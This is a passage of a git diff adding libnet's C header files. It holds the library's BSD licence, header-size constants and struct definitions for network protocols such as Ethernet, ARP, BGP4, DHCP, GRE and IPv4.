+libnet_close_link_interface(libnet_t *l);
+
+/*
+ * [Internal]
+ */
+BYTE *
+libnet_win32_read_arp_table(DWORD IP);
+#endif
+#endif /* __LIBNET_FUNCTIONS_H */
+
+/* EOF */
diff --git a/libnet/include/libnet/libnet-headers.h b/libnet/include/libnet/libnet-headers.h
new file mode 100644
index 0000000..2d44e08
--- /dev/null
+++ b/libnet/include/libnet/libnet-headers.h
@@ -0,0 +1,1662 @@
+/*
+ * $Id: libnet-headers.h,v 1.14 2004/03/11 18:50:20 mike Exp $
+ *
+ * libnet-headers.h - Network routine library headers header file
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#ifndef __LIBNET_HEADERS_H
+#define __LIBNET_HEADERS_H
+/**
+ * @file libnet-headers.h
+ * @brief libnet header information
+ */
+
+/**
+ * Libnet defines header sizes for every builder function exported.
+ */
+#define LIBNET_802_1Q_H 0x12 /**< 802.1Q header: 18 bytes */
+#define LIBNET_802_1X_H 0x04 /**< 802.1X header: 4 bytes */
+#define LIBNET_802_2_H 0x03 /**< 802.2 LLC header: 3 bytes */
+#define LIBNET_802_2SNAP_H 0x08 /**< 802.2 LLC/SNAP header:8 bytes */
+#define LIBNET_802_3_H 0x0e /**< 802.3 header: 14 bytes */
+#define LIBNET_ARP_H 0x08 /**< ARP header w/o addrs: 8 bytes */
+#define LIBNET_ARP_ETH_IP_H 0x1c /**< ARP w/ ETH and IP: 28 bytes */
+#define LIBNET_BGP4_HEADER_H 0x13 /**< BGP header: 19 bytes */
+#define LIBNET_BGP4_OPEN_H 0x0a /**< BGP open header: 10 bytes */
+#define LIBNET_BGP4_UPDATE_H 0x04 /**< BGP open header: 4 bytes */
+#define LIBNET_BGP4_NOTIFICATION_H 0x02 /**< BGP notif. header: 2 bytes */
+#define LIBNET_CDP_H 0x08 /**< CDP header base: 8 bytes */
+#define LIBNET_DHCPV4_H 0xf0 /**< DHCP v4 header: 240 bytes */
+#define LIBNET_UDP_DNSV4_H 0x0c /**< UDP DNS v4 header: 12 bytes */
+#define LIBNET_TCP_DNSV4_H 0x0e /**< TCP DNS v4 header: 14 bytes */
+#define LIBNET_ETH_H 0x0e /**< Ethernet header: 14 bytes */
+#define LIBNET_FDDI_H 0x15 /**< FDDI header: 21 bytes */
+#define LIBNET_ICMPV4_H 0x04 /**< ICMP header base: 4 bytes */
+#define LIBNET_ICMPV4_ECHO_H 0x08 /**< ICMP_ECHO header: 8 bytes */
+#define LIBNET_ICMPV4_MASK_H 0x0c /**< ICMP_MASK header: 12 bytes */
+#define LIBNET_ICMPV4_UNREACH_H 0x08 /**< ICMP_UNREACH header: 8 bytes */
+#define LIBNET_ICMPV4_TIMXCEED_H 0x08 /**< ICMP_TIMXCEED header: 8 bytes */
+#define LIBNET_ICMPV4_REDIRECT_H 0x08 /**< ICMP_REDIRECT header: 8 bytes */
+#define LIBNET_ICMPV4_TS_H 0x14 /**< ICMP_TIMESTAMP headr:20 bytes */
+#define LIBNET_ICMPV6_H 0x08 /**< ICMP6 header base: 8 bytes */
+#define LIBNET_IGMP_H 0x08 /**< IGMP header: 8 bytes */
+#define LIBNET_IPV4_H 0x14 /**< IPv4 header: 20 bytes */
+#define LIBNET_IPV6_H 0x28 /**< IPv6 header: 40 bytes */
+#define LIBNET_IPV6_FRAG_H 0x08 /**< IPv6 frag header: 8 bytes */
+#define LIBNET_IPV6_ROUTING_H 0x04 /**< IPv6 frag header base:4 bytes */
+#define LIBNET_IPV6_DESTOPTS_H 0x02 /**< IPv6 dest opts base: 2 bytes */
+#define LIBNET_IPV6_HBHOPTS_H 0x02 /**< IPv6 hop/hop opt base:2 bytes */
+#define LIBNET_IPSEC_ESP_HDR_H 0x0c /**< IPSEC ESP header: 12 bytes */
+#define LIBNET_IPSEC_ESP_FTR_H 0x02 /**< IPSEC ESP footer: 2 bytes */
+#define LIBNET_IPSEC_AH_H 0x10 /**< IPSEC AH header: 16 bytes */
+#define LIBNET_ISL_H 0x1a /**< ISL header: 26 bytes */
+#define LIBNET_GRE_H 0x04 /**< GRE header: 4 bytes */
+#define LIBNET_GRE_SRE_H 0x04 /**< GRE SRE header: 4 bytes */
+#define LIBNET_MPLS_H 0x04 /**< MPLS header: 4 bytes */
+#define LIBNET_OSPF_H 0x10 /**< OSPF header: 16 bytes */
+#define LIBNET_OSPF_HELLO_H 0x18 /**< OSPF hello header: 24 bytes */
+#define LIBNET_OSPF_DBD_H 0x08 /**< OSPF DBD header: 8 bytes */
+#define LIBNET_OSPF_LSR_H 0x0c /**< OSPF LSR header: 12 bytes */
+#define LIBNET_OSPF_LSU_H 0x04 /**< OSPF LSU header: 4 bytes */
+#define LIBNET_OSPF_LSA_H 0x14 /**< OSPF LSA header: 20 bytes */
+#define LIBNET_OSPF_AUTH_H 0x08 /**< OSPF AUTH header: 8 bytes */
+#define LIBNET_OSPF_CKSUM 0x10 /**< OSPF CKSUM header: 16 bytes */
+#define LIBNET_OSPF_LS_RTR_H 0x10 /**< OSPF LS RTR header: 16 bytes */
+#define LIBNET_OSPF_LS_NET_H 0x08 /**< OSPF LS NET header: 8 bytes */
+#define LIBNET_OSPF_LS_SUM_H 0x0c /**< OSPF LS SUM header: 12 bytes */
+#define LIBNET_OSPF_LS_AS_EXT_H 0x10 /**< OSPF LS AS header: 16 bytes */
+#define LIBNET_NTP_H 0x30 /**< NTP header: 48 bytes */
+#define LIBNET_RIP_H 0x18 /**< RIP header base: 24 bytes */
+#define LIBNET_RPC_CALL_H 0x28 /**< RPC header: 40 bytes
+ * (assuming 8 byte auth header)
+ */
+#define LIBNET_RPC_CALL_TCP_H 0x2c /**< RPC header: 44 bytes
+ * (with record marking)
+ */
+#define LIBNET_SEBEK_H 0x30 /* sebek header: 48 bytes */
+#define LIBNET_STP_CONF_H 0x23 /**< STP conf header: 35 bytes */
+#define LIBNET_STP_TCN_H 0x04 /**< STP tcn header: 4 bytes */
+#define LIBNET_TOKEN_RING_H 0x16 /**< Token Ring header: 22 bytes */
+#define LIBNET_TCP_H 0x14 /**< TCP header: 20 bytes */
+#define LIBNET_UDP_H 0x08 /**< UDP header: 8 bytes */
+#define LIBNET_VRRP_H 0x08 /**< VRRP header: 8 bytes */
+
+/**
+ * IEEE 802.1Q (Virtual Local Area Network) VLAN header, static header
+ * size: 18 bytes
+ */
+struct libnet_802_1q_hdr
+{
+ u_int8_t vlan_dhost[ETHER_ADDR_LEN]; /**< destination ethernet address */
+ u_int8_t vlan_shost[ETHER_ADDR_LEN]; /**< source ethernet address */
+ u_int16_t vlan_tpi; /**< tag protocol ID */
+ u_int16_t vlan_priority_c_vid; /**< priority | VLAN ID */
+#define LIBNET_802_1Q_PRIMASK 0x0007 /**< priority mask */
+#define LIBNET_802_1Q_CFIMASK 0x0001 /**< CFI mask */
+#define LIBNET_802_1Q_VIDMASK 0x0fff /**< vid mask */
+ u_int16_t vlan_len; /**< length or type (802.3 / Eth 2) */
+};
+
+/**
+ * IEEE 802.1X EAP (Extensible Authentication Protocol) header, static header
+ * size: 4 bytes
+ */
+struct libnet_802_1x_hdr
+{
+ u_int8_t dot1x_version; /**< protocol version */
+ u_int8_t dot1x_type; /**< frame type */
+#define LIBNET_802_1X_PACKET 0x00 /**< 802.1x packet */
+#define LIBNET_802_1X_START 0x01 /**< 802.1x start */
+#define LIBNET_802_1X_LOGOFF 0x02 /**< 802.1x logoff */
+#define LIBNET_802_1X_KEY 0x03 /**< 802.1x key */
+#define LIBNET_802_1X_ENCASFAL 0x04 /**< 802.1x encasfal */
+ u_int16_t dot1x_length; /**< total frame length */
+};
+
+/*
+ * IEEE 802.2 LLC header
+ * Link Layer Control
+ * static header size: 3 bytes
+ */
+struct libnet_802_2_hdr
+{
+ u_int8_t llc_dsap; /* destination service access point */
+ u_int8_t llc_ssap; /* source service access point */
+#define LIBNET_SAP_STP 0x42
+#define LIBNET_SAP_SNAP 0xaa
+ u_int8_t llc_control; /* control field */
+};
+
+
+/*
+ * IEEE 802.2 LLC/SNAP header
+ * SubNetwork Attachment Point
+ * static header size: 8 bytes
+ */
+struct libnet_802_2snap_hdr
+{
+ u_int8_t snap_dsap; /* destination service access point */
+ u_int8_t snap_ssap; /* destination service access point */
+ u_int8_t snap_control; /* control field */
+ u_int8_t snap_oui[3]; /* OUI */
+ u_int16_t snap_type; /* type */
+};
+
+
+/*
+ * 802.3 header
+ * IEEE Ethernet
+ * Static header size: 14 bytes
+ */
+struct libnet_802_3_hdr
+{
+ u_int8_t _802_3_dhost[ETHER_ADDR_LEN];/* destination ethernet address */
+ u_int8_t _802_3_shost[ETHER_ADDR_LEN];/* source ethernet address */
+ u_int16_t _802_3_len; /* packet type ID */
+};
+
+
+/*
+ * ARP header
+ * Address Resolution Protocol
+ * Base header size: 8 bytes
+ */
+struct libnet_arp_hdr
+{
+ u_int16_t ar_hrd; /* format of hardware address */
+#define ARPHRD_NETROM 0 /* from KA9Q: NET/ROM pseudo */
+#define ARPHRD_ETHER 1 /* Ethernet 10Mbps */
+#define ARPHRD_EETHER 2 /* Experimental Ethernet */
+#define ARPHRD_AX25 3 /* AX.25 Level 2 */
+#define ARPHRD_PRONET 4 /* PROnet token ring */
+#define ARPHRD_CHAOS 5 /* Chaosnet */
+#define ARPHRD_IEEE802 6 /* IEEE 802.2 Ethernet/TR/TB */
+#define ARPHRD_ARCNET 7 /* ARCnet */
+#define ARPHRD_APPLETLK 8 /* APPLEtalk */
+#define ARPHRD_LANSTAR 9 /* Lanstar */
+#define ARPHRD_DLCI 15 /* Frame Relay DLCI */
+#define ARPHRD_ATM 19 /* ATM */
+#define ARPHRD_METRICOM 23 /* Metricom STRIP (new IANA id) */
+#define ARPHRD_IPSEC 31 /* IPsec tunnel */
+ u_int16_t ar_pro; /* format of protocol address */
+ u_int8_t ar_hln; /* length of hardware address */
+ u_int8_t ar_pln; /* length of protocol addres */
+ u_int16_t ar_op; /* operation type */
+#define ARPOP_REQUEST 1 /* req to resolve address */
+#define ARPOP_REPLY 2 /* resp to previous request */
+#define ARPOP_REVREQUEST 3 /* req protocol address given hardware */
+#define ARPOP_REVREPLY 4 /* resp giving protocol address */
+#define ARPOP_INVREQUEST 8 /* req to identify peer */
+#define ARPOP_INVREPLY 9 /* resp identifying peer */
+ /* address information allocated dynamically */
+};
+
+/*
+ * BGP4 header
+ * Border Gateway Protocol 4
+ * Base header size : 19 bytes
+ */
+struct libnet_bgp4_header_hdr
+{
+#define LIBNET_BGP4_MARKER_SIZE 16
+ u_int8_t marker[LIBNET_BGP4_MARKER_SIZE];
+ u_int16_t len;
+ u_int8_t type;
+#define LIBNET_BGP4_OPEN 1
+#define LIBNET_BGP4_UPDATE 2
+#define LIBNET_BGP4_NOTIFICATION 3
+#define LIBNET_BGP4_KEEPALIVE 4
+};
+
+/*
+ * BGP4 open header
+ * Border Gateway Protocol 4
+ * Base header size : 10 bytes
+ */
+struct libnet_bgp4_open_hdr
+{
+ u_int8_t version;
+ u_int16_t src_as;
+ u_int16_t hold_time;
+ u_int32_t bgp_id;
+ u_int8_t opt_len;
+};
+
+/*
+ * BGP4 notification message
+ *
+ * Border Gateway Protocol 4
+ * Base header size : 2 bytes
+ *
+ * Use payload if you need data
+ */
+struct libnet_bgp4_notification_hdr
+{
+#define LIBNET_BGP4_MESSAGE_HEADER_ERROR 1
+#define LIBNET_BGP4_OPEN_MESSAGE_ERROR 2
+#define LIBNET_BGP4_UPDATE_MESSAGE_ERROR 3
+#define LIBNET_BGP4_HOLD_TIMER_EXPIRED 4
+#define LIBNET_BGP4_FINITE_STATE__ERROR 5
+#define LIBNET_BGP4_CEASE 6
+ u_int8_t err_code;
+
+/* Message Header Error subcodes */
+#define LIBNET_BGP4_CONNECTION_NOT_SYNCHRONIZED 1
+#define LIBNET_BGP4_BAD_MESSAGE_LENGTH 2
+#define LIBNET_BGP4_BAD_MESSAGE_TYPE 3
+/* OPEN Message Error subcodes */
+#define LIBNET_BGP4_UNSUPPORTED_VERSION_NUMBER 1
+#define LIBNET_BGP4_BAD_PEER_AS 2
+#define LIBNET_BGP4_BAD_BGP_IDENTIFIER 3
+#define LIBNET_BGP4_UNSUPPORTED_OPTIONAL_PARAMETER 4
+#define LIBNET_BGP4_AUTHENTICATION_FAILURE 5
+#define LIBNET_BGP4_UNACCEPTABLE_HOLD_TIME 6
+/* UPDATE Message Error subcodes */
+#define LIBNET_BGP4_MALFORMED_ATTRIBUTE_LIST
+#define LIBNET_BGP4_UNRECOGNIZED_WELL_KNOWN_ATTRIBUTE
+#define LIBNET_BGP4_MISSING_WELL_KNOWN_ATTRIBUTE
+#define LIBNET_BGP4_ATTRIBUTE_FLAGS_ERROR
+#define LIBNET_BGP4_ATTRIBUTE_LENGTH_ERROR
+#define LIBNET_BGP4_INVALID_ORIGIN_ATTRIBUTE
+#define LIBNET_BGP4_AS_ROUTING_LOOP
+#define LIBNET_BGP4_INVALID_NEXT_HOP_ATTRIBUTE
+#define LIBNET_BGP4_OPTIONAL_ATTRIBUTE_ERROR
+#define LIBNET_BGP4_INVALID_NETWORK_FIELD
+#define LIBNET_BGP4_MALFORMED_AS_PATH
+ u_int8_t err_subcode;
+};
+
+
+
+/*
+ * CDP header
+ * Cisco Discovery Protocol
+ * Base header size: 8 bytes
+ */
+
+/*
+ * For checksum stuff -- IANA says 135-254 is "unassigned" as of 12.2001.
+ * Let's hope this one stays that way for a while!
+ */
+#define LIBNET_PROTO_CDP 200
+struct libnet_cdp_hdr
+{
+ u_int8_t cdp_version; /* version (should always be 0x01) */
+ u_int8_t cdp_ttl; /* time reciever should hold info in this packet */
+ u_int16_t cdp_sum; /* checksum */
+ u_int16_t cdp_type; /* type */
+#define LIBNET_CDP_DEVID 0x1 /* device id */
+#define LIBNET_CDP_ADDRESS 0x2 /* address */
+#define LIBNET_CDP_PORTID 0x3 /* port id */
+#define LIBNET_CDP_CAPABIL 0x4 /* capabilities */
+#define LIBNET_CDP_VERSION 0x5 /* version */
+#define LIBNET_CDP_PLATFORM 0x6 /* platform */
+#define LIBNET_CDP_IPPREFIX 0x7 /* ip prefix */
+ u_int16_t cdp_len; /* type + length + value */
+ /* value information done dynamically */
+
+/* CDP capabilities */
+#define LIBNET_CDP_CAP_L3R 0x01/* performs level 3 routing */
+#define LIBNET_CDP_CAP_L2B 0x02/* performs level 2 transparent bridging */
+#define LIBNET_CDP_CAP_L2SRB 0x04/* performs level 2 sourceroute bridging */
+#define LIBNET_CDP_CAP_L2S 0x08/* performs level 2 switching */
+#define LIBNET_CDP_CAP_SR 0x10/* sends and recieves packets on a network */
+#define LIBNET_CDP_CAP_NOI 0x20/* does not forward IGMP on non-router ports */
+#define LIBNET_CDP_CAP_L1F 0x40/* provides level 1 functionality */
+};
+
+
+/*
+ * Used as an overlay for type/len/values
+ */
+struct libnet_cdp_value_hdr
+{
+ u_int16_t cdp_type;
+ u_int16_t cdp_len;
+};
+
+
+/*
+ * DHCP header
+ * Dynamic Host Configuration Protocol
+ * Static header size: f0 bytes
+ */
+struct libnet_dhcpv4_hdr
+{
+ u_int8_t dhcp_opcode; /* opcode */
+#define LIBNET_DHCP_REQUEST 0x1
+#define LIBNET_DHCP_REPLY 0x2
+ u_int8_t dhcp_htype; /* hardware address type */
+ u_int8_t dhcp_hlen; /* hardware address length */
+ u_int8_t dhcp_hopcount; /* used by proxy servers */
+ u_int32_t dhcp_xid; /* transaction ID */
+ u_int16_t dhcp_secs; /* number of seconds since trying to bootstrap */
+ u_int16_t dhcp_flags; /* flags for DHCP, unused for BOOTP */
+ u_int32_t dhcp_cip; /* client's IP */
+ u_int32_t dhcp_yip; /* your IP */
+ u_int32_t dhcp_sip; /* server's IP */
+ u_int32_t dhcp_gip; /* gateway IP */
+ u_int8_t dhcp_chaddr[16]; /* client hardware address */
+ u_int8_t dhcp_sname[64]; /* server host name */
+ u_int8_t dhcp_file[128]; /* boot file name */
+ u_int32_t dhcp_magic; /* BOOTP magic header */
+#define DHCP_MAGIC 0x63825363
+#define LIBNET_BOOTP_MIN_LEN 0x12c
+#define LIBNET_DHCP_PAD 0x00
+#define LIBNET_DHCP_SUBNETMASK 0x01
+#define LIBNET_DHCP_TIMEOFFSET 0x02
+#define LIBNET_DHCP_ROUTER 0x03
+#define LIBNET_DHCP_TIMESERVER 0x04
+#define LIBNET_DHCP_NAMESERVER 0x05
+#define LIBNET_DHCP_DNS 0x06
+#define LIBNET_DHCP_LOGSERV 0x07
+#define LIBNET_DHCP_COOKIESERV 0x08
+#define LIBNET_DHCP_LPRSERV 0x09
+#define LIBNET_DHCP_IMPSERV 0x0a
+#define LIBNET_DHCP_RESSERV 0x0b
+#define LIBNET_DHCP_HOSTNAME 0x0c
+#define LIBNET_DHCP_BOOTFILESIZE 0x0d
+#define LIBNET_DHCP_DUMPFILE 0x0e
+#define LIBNET_DHCP_DOMAINNAME 0x0f
+#define LIBNET_DHCP_SWAPSERV 0x10
+#define LIBNET_DHCP_ROOTPATH 0x11
+#define LIBNET_DHCP_EXTENPATH 0x12
+#define LIBNET_DHCP_IPFORWARD 0x13
+#define LIBNET_DHCP_SRCROUTE 0x14
+#define LIBNET_DHCP_POLICYFILTER 0x15
+#define LIBNET_DHCP_MAXASMSIZE 0x16
+#define LIBNET_DHCP_IPTTL 0x17
+#define LIBNET_DHCP_MTUTIMEOUT 0x18
+#define LIBNET_DHCP_MTUTABLE 0x19
+#define LIBNET_DHCP_MTUSIZE 0x1a
+#define LIBNET_DHCP_LOCALSUBNETS 0x1b
+#define LIBNET_DHCP_BROADCASTADDR 0x1c
+#define LIBNET_DHCP_DOMASKDISCOV 0x1d
+#define LIBNET_DHCP_MASKSUPPLY 0x1e
+#define LIBNET_DHCP_DOROUTEDISC 0x1f
+#define LIBNET_DHCP_ROUTERSOLICIT 0x20
+#define LIBNET_DHCP_STATICROUTE 0x21
+#define LIBNET_DHCP_TRAILERENCAP 0x22
+#define LIBNET_DHCP_ARPTIMEOUT 0x23
+#define LIBNET_DHCP_ETHERENCAP 0x24
+#define LIBNET_DHCP_TCPTTL 0x25
+#define LIBNET_DHCP_TCPKEEPALIVE 0x26
+#define LIBNET_DHCP_TCPALIVEGARBAGE 0x27
+#define LIBNET_DHCP_NISDOMAIN 0x28
+#define LIBNET_DHCP_NISSERVERS 0x29
+#define LIBNET_DHCP_NISTIMESERV 0x2a
+#define LIBNET_DHCP_VENDSPECIFIC 0x2b
+#define LIBNET_DHCP_NBNS 0x2c
+#define LIBNET_DHCP_NBDD 0x2d
+#define LIBNET_DHCP_NBTCPIP 0x2e
+#define LIBNET_DHCP_NBTCPSCOPE 0x2f
+#define LIBNET_DHCP_XFONT 0x30
+#define LIBNET_DHCP_XDISPLAYMGR 0x31
+#define LIBNET_DHCP_DISCOVERADDR 0x32
+#define LIBNET_DHCP_LEASETIME 0x33
+#define LIBNET_DHCP_OPTIONOVERLOAD 0x34
+#define LIBNET_DHCP_MESSAGETYPE 0x35
+#define LIBNET_DHCP_SERVIDENT 0x36
+#define LIBNET_DHCP_PARAMREQUEST 0x37
+#define LIBNET_DHCP_MESSAGE 0x38
+#define LIBNET_DHCP_MAXMSGSIZE 0x39
+#define LIBNET_DHCP_RENEWTIME 0x3a
+#define LIBNET_DHCP_REBINDTIME 0x3b
+#define LIBNET_DHCP_CLASSSID 0x3c
+#define LIBNET_DHCP_CLIENTID 0x3d
+#define LIBNET_DHCP_NISPLUSDOMAIN 0x40
+#define LIBNET_DHCP_NISPLUSSERVERS 0x41
+#define LIBNET_DHCP_MOBILEIPAGENT 0x44
+#define LIBNET_DHCP_SMTPSERVER 0x45
+#define LIBNET_DHCP_POP3SERVER 0x46
+#define LIBNET_DHCP_NNTPSERVER 0x47
+#define LIBNET_DHCP_WWWSERVER 0x48
+#define LIBNET_DHCP_FINGERSERVER 0x49
+#define LIBNET_DHCP_IRCSERVER 0x4a
+#define LIBNET_DHCP_STSERVER 0x4b
+#define LIBNET_DHCP_STDASERVER 0x4c
+#define LIBNET_DHCP_END 0xff
+
+#define LIBNET_DHCP_MSGDISCOVER 0x01
+#define LIBNET_DHCP_MSGOFFER 0x02
+#define LIBNET_DHCP_MSGREQUEST 0x03
+#define LIBNET_DHCP_MSGDECLINE 0x04
+#define LIBNET_DHCP_MSGACK 0x05
+#define LIBNET_DHCP_MSGNACK 0x06
+#define LIBNET_DHCP_MSGRELEASE 0x07
+#define LIBNET_DHCP_MSGINFORM 0x08
+};
+
+
+/*
+ * Base DNSv4 header
+ * Domain Name System
+ * Base header size: 12/14 bytes
+ */
+/* this little guy got left out in the cold */
+#define LIBNET_DNS_H LIBNET_UDP_DNSV4_H
+struct libnet_dnsv4_hdr
+{
+ u_int16_t h_len; /* length of the packet - only used with TCP */
+ u_int16_t id; /* DNS packet ID */
+ u_int16_t flags; /* DNS flags */
+ u_int16_t num_q; /* Number of questions */
+ u_int16_t num_answ_rr; /* Number of answer resource records */
+ u_int16_t num_auth_rr; /* Number of authority resource records */
+ u_int16_t num_addi_rr; /* Number of additional resource records */
+};
+
+
+/*
+ * Ethernet II header
+ * Static header size: 14 bytes
+ */
+struct libnet_ethernet_hdr
+{
+ u_int8_t ether_dhost[ETHER_ADDR_LEN];/* destination ethernet address */
+ u_int8_t ether_shost[ETHER_ADDR_LEN];/* source ethernet address */
+ u_int16_t ether_type; /* protocol */
+};
+
+#ifndef ETHERTYPE_PUP
+#define ETHERTYPE_PUP 0x0200 /* PUP protocol */
+#endif
+#ifndef ETHERTYPE_IP
+#define ETHERTYPE_IP 0x0800 /* IP protocol */
+#endif
+#ifndef ETHERTYPE_ARP
+#define ETHERTYPE_ARP 0x0806 /* addr. resolution protocol */
+#endif
+#ifndef ETHERTYPE_REVARP
+#define ETHERTYPE_REVARP 0x8035 /* reverse addr. resolution protocol */
+#endif
+#ifndef ETHERTYPE_VLAN
+#define ETHERTYPE_VLAN 0x8100 /* IEEE 802.1Q VLAN tagging */
+#endif
+#ifndef ETHERTYPE_EAP
+#define ETHERTYPE_EAP 0x888e /* IEEE 802.1X EAP authentication */
+#endif
+#ifndef ETHERTYPE_MPLS
+#define ETHERTYPE_MPLS 0x8847 /* MPLS */
+#endif
+#ifndef ETHERTYPE_LOOPBACK
+#define ETHERTYPE_LOOPBACK 0x9000 /* used to test interfaces */
+#endif
+
+struct libnet_ether_addr
+{
+ u_int8_t ether_addr_octet[6]; /* Ethernet address */
+};
+
+/*
+ * Fiber Distributed Data Interface header
+ *
+ * Static header size: 21 bytes (LLC and 48-bit address addr only)
+ *
+ * Note: Organization field is 3 bytes which throws off the
+ * alignment of type. Therefore fddi_type (19 bytes in)
+ * is specified as two u_int8_ts.
+ */
+struct libnet_fddi_hdr
+{
+ u_int8_t fddi_frame_control; /* Class/Format/Priority */
+#define LIBNET_FDDI_LLC_FRAME 0x10
+#define LIBNET_FDDI_48BIT_ADDR 0x40
+#define LIBNET_FDDI_FC_REQD LIBNET_FDDI_LLC_FRAME | LIBNET_FDDI_48BIT_ADDR
+ u_int8_t fddi_dhost[FDDI_ADDR_LEN]; /* destination fddi address */
+ u_int8_t fddi_shost[FDDI_ADDR_LEN]; /* source fddi address */
+ u_int8_t fddi_llc_dsap; /* DSAP */
+ u_int8_t fddi_llc_ssap; /* SSAP */
+ u_int8_t fddi_llc_control_field; /* Class/Format/Priority */
+ u_int8_t fddi_llc_org_code[LIBNET_ORG_CODE_SIZE]; /* Organization Code 3-bytes */
+ u_int8_t fddi_type; /* Protocol Type */
+ u_int8_t fddi_type1; /* see note above. */
+#define FDDI_TYPE_IP 0x0800 /* IP protocol */
+#define FDDI_TYPE_ARP 0x0806 /* addr. resolution protocol */
+#define FDDI_TYPE_REVARP 0x8035 /* reverse addr. resolution protocol */
+};
+
+
+struct libnet_fddi_addr
+{
+ u_int8_t fddi_addr_octet[6]; /* FDDI address */
+};
+
+
+/*
+ * GRE header - RFC 1701 & 2637
+ * Generic Routing Encapsulation (GRE)
+ * Base header size: 4 bytes
+ */
+struct libnet_gre_hdr
+{
+ u_int16_t flags_ver;
+#define GRE_CSUM 0x8000
+#define GRE_ROUTING 0x4000
+#define GRE_KEY 0x2000
+#define GRE_SEQ 0x1000
+#define GRE_STRICT 0x0800
+#define GRE_REC 0x0700
+#define GRE_ACK 0x0080
+
+#define GRE_FLAGS_MASK 0x00F8
+#define GRE_VERSION_MASK 0x0007
+
+#define GRE_VERSION_0 0x0000
+#define GRE_VERSION_1 0x0001
+
+ u_int16_t type;
+#define GRE_SNA 0x0004
+#define GRE_OSI_NETWORK_LAYER 0x00FE
+#define GRE_PUP 0x0200
+#define GRE_XNS 0x0600
+#define GRE_IP 0x0800
+#define GRE_CHAOS 0x0804
+#define GRE_RFC_826_ARP 0x0806
+#define GRE_FRAME_RELAY_ARP 0x0808
+#define GRE_VINES 0x0BAD
+#define GRE_VINES_ECHO 0x0BAE
+#define GRE_VINES_LOOPBACK 0x0BAF
+#define GRE_DECNET 0x6003
+#define GRE_TRANSPARENT_ETHERNET_BRIDGING 0x6558
+#define GRE_RAW_FRAME_RELAY 0x6559
+#define GRE_APOLLO_DOMAIN 0x8019
+#define GRE_ETHERTALK 0x809B
+#define GRE_NOVELL_IPX 0x8137
+#define GRE_RFC_1144_TCP_IP_COMPRESSION 0x876B
+#define GRE_IP_AUTONOMOUS_SYSTEMS 0x876C
+#define GRE_SECURE_DATA 0x876D
+#define GRE_PPP 0x880b /* taken from RFC 2637 */
+
+ union {
+ struct {
+ u_int16_t sum; /* optional */
+ u_int16_t offset; /* optional */
+ u_int32_t key; /* optional */
+ u_int32_t seq; /* optional */
+ } _gre;
+
+ struct {
+ u_int16_t payload_s; /* optional */
+ u_int16_t callID; /* optional */
+ u_int32_t seq; /* optional */
+ u_int32_t ack; /* optional */
+ } _egre;
+ }_data;
+
+#define gre_sum _data._gre.sum
+#define gre_offset _data._gre.offset
+#define gre_key _data._gre.key
+#define gre_seq _data._gre.seq
+
+#define egre_payload_s _data._egre.payload_s
+#define egre_callID _data._egre.callID
+#define egre_seq _data._egre.seq
+#define egre_ack _data._egre.ack
+};
+
+
+#ifndef IPPROTO_GRE
+#define IPPROTO_GRE 47
+#endif
+
+/*
+ * Source Route Entries (SRE)
+ * This is used for GRE as the Routing field is a list of SREs - RFC 1701
+ * Base header size: 4 bytes
+ */
+struct libnet_gre_sre_hdr
+{
+ u_int16_t af; /* address familly */
+ u_int8_t sre_offset;
+ u_int8_t sre_length;
+ u_int8_t *routing;
+};
+
+
+/*
+ * IPv4 header
+ * Internet Protocol, version 4
+ * Static header size: 20 bytes
+ */
+struct libnet_ipv4_hdr
+{
+#if (LIBNET_LIL_ENDIAN)
+ u_int8_t ip_hl:4, /* header length */
+ ip_v:4; /* version */
+#endif
+#if (LIBNET_BIG_ENDIAN)
+ u_int8_t ip_v:4, /* version */
+ ip_hl:4; /* header length */
+#endif
+ u_int8_t ip_tos; /* type of service */
+#ifndef IPTOS_LOWDELAY
+#define IPTOS_LOWDELAY 0x10
+#endif
+#ifndef IPTOS_THROUGHPUT
+#define IPTOS_THROUGHPUT 0x08
+#endif
+#ifndef IPTOS_RELIABILITY
+#define IPTOS_RELIABILITY 0x04
+#endif
+#ifndef IPTOS_LOWCOST
+#define IPTOS_LOWCOST 0x02
+#endif
+ u_int16_t ip_len; /* total length */
+ u_int16_t ip_id; /* identification */
+ u_int16_t ip_off;
+#ifndef IP_RF
+#define IP_RF 0x8000 /* reserved fragment flag */
+#endif
+#ifndef IP_DF
+#define IP_DF 0x4000 /* dont fragment flag */
+#endif
+#ifndef IP_MF
+#define IP_MF 0x2000 /* more fragments flag */
+#endif
+#ifndef IP_OFFMASK
+#define IP_OFFMASK 0x1fff /* mask for fragmenting bits */
+#endif
+ u_int8_t ip_ttl; /* time to live */
+ u_int8_t ip_p; /* protocol */
+ u_int16_t ip_sum; /* checksum */
+ struct in_addr ip_src, ip_dst; /* source and dest address */
+};
+
+/*
+ * IP options
+ */
+#ifndef IPOPT_EOL
+#define IPOPT_EOL 0 /* end of option list */
+#endif
+#ifndef IPOPT_NOP
+#define IPOPT_NOP 1 /* no operation */
+#endif
+#ifndef IPOPT_RR
+#define IPOPT_RR 7 /* record packet route */
+#endif
+#ifndef IPOPT_TS
+#define IPOPT_TS 68 /* timestamp */
